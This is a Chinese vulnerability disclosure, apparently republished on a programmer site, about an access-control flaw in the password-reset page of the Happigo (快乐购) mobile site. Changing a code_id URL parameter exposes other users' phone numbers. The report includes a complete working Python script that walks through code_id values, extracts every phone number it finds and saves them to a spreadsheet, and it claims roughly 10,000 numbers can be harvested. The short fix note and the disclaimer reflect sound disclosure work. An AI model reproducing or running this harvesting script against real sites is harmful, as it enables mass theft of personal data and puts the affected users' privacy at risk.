好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

快乐购大量用户敏感信息泄露,可批量获取用户

快乐购大量用户敏感信息泄露,可批量获取

一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露

 

 

url:m.happigo.com/user/login.php

 

第一步进入登陆页面,点击忘记密码:

第二步输入用户名,手机号码,用于发送验证码

 

 

 

 

第三步要输入验证码,这里我们就不管了,现在看看url地址:

 

 

 

这个code_id就是存在问题,这里我是第16060位重置自己密码的用户,这里把用户的手机号码显示出来了,那么我们试试更改一下这个code_id,看能不能看到其他用户的手机号码。我们把code_id改为16059,如下图,果然可以看到其他用户的手机号码,上一个脚本爬出所有重置过密码的用户的手机号码,大量信息啊!!!

 

下面给出脚本批量获取到的用户信息。

 

============================================================================

 

 

#-*- coding:utf-8-*- import urllib2 from tempfile import TemporaryFile from xlwt import Workbook import re vulinfo_list = [] code_id_list = [] def req_url(code_id): url = "http://m.happigo.com/user/checkcode.php?code_id=%d" % code_id req = urllib2.Request(url) req.add_header( "Connection","keep-alive" ) res = urllib2.urlopen( req ) html = res.read() return html,code_id def match_info(html,code_id): if re.search(r'\d{11}',html): phonenumber = re.search(r'\d{11}',html).group() print "[%s]手机号码:" % code_id,phonenumber vulinfo_list.append(int(phonenumber)) code_id_list.append(int(code_id)) def thread_run(sheet1): for code_id in range(16060): html,code_id = req_url(code_id) match_info(html,code_id) if len(code_id_list) == len(vulinfo_list): for i in range(len(vulinfo_list)): #for j in range(0,2): sheet1.write(i,0,code_id_list[i]) sheet1.write(i,1,vulinfo_list[i]) def run(): book = Workbook() sheet1 = book.add_sheet('Sheet 1') thread_run(sheet1) book.save('happigo_user_phonenumber.xls') book.save(TemporaryFile()) if __name__ == "__main__": run()

 

============================================================================

 

结果:

 

 

 

由于这是很早前的截取的信息,截止目前已经差不多到1w用户手机号码了。

 

 

 

二、声明

 

没有泄露任何截获到的用户信息,及进行非法操作。 

 

修复方案: 隐藏并控制好用户敏感信息

 

查看更多关于快乐购大量用户敏感信息泄露,可批量获取用户的详细内容...

  阅读:45次